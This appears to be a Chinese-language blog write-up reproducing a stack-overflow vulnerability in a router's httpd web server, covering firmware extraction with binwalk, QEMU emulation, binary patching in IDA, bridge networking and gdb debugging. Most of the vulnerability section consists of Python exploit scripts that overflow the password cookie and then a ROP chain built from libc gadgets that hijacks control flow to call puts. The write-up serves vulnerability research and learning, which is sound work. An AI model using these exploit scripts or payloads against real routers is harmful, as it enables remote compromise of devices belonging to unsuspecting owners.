路由器固件型号:
固件下载地址:
binwalk分离
binwalk -Me US-bin
漏洞点:
在squashfs-root/bin/httpd
可以通过
readelf -h httpd
环境配置
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
运行指令
sudo qemu-arm-static ../bin/httpd
运行的时候在lib文件夹里运行,否则会缺库,但我还是报错了www
解决方法
用ida打开,搜索WeLoveLinux
师傅们说的是这里构成了死循环要把CMP R3,#0给patch掉,就可以了
假如patch的时候遇见
可以不用管,也不要叉就行(我是这样做的)
然后保存即可
运行发现还是出错
再用ida看一下,发现第二个判断发现也赋值了0;
patch成1即可
网关配置
运行时
ip并不是本机ip,这是因为我们没有设置虚拟网关br0
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.65.1/24
漏洞分析
根据CVE公布的poc可知,漏洞点在R7WebsSecurityHandler函数
IDA
这里未对用户的输入是否合理进行检测,导致存在栈溢出。
我们要利用这个栈溢出需要满足
访问的路径不在上述存在,构造一个虚构地址即可,例/goform/blonet
尝试输入垃圾数据,测试漏洞。
sudo qemu-arm-static -g 1234 ../bin/httpd
gdb-multiarch ./httpd
target remote :1234
b *0x002ED18 #断点下在漏洞函数结束处即可
continue
python3 exp.py
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)
发现程序没有运行到断点处,bt查看一下,发现0x0002c5cc处的函数被溢出执行了。
应该是被这影响了。
那就修改一下exp,再试试
import requests
URL = "http://192.168.7.44:80/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}
requests.get(url=URL, cookies=cookie)
可以发现成功溢出了。
因为qemu的不会开启未开启基址随机化的特性,可以通过vmmap查看libc基地址。
这里不知道为什么我这没有libc,不懂。www
通过ropgadget查找gadget
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};
利用exp
import requests
from pwn import *
base = 0xf65e5000
libc = ELF('./lib/libc.so.0')
puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.7.44:80/goform/hello"
pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)
别用python3(会把心态搞崩的)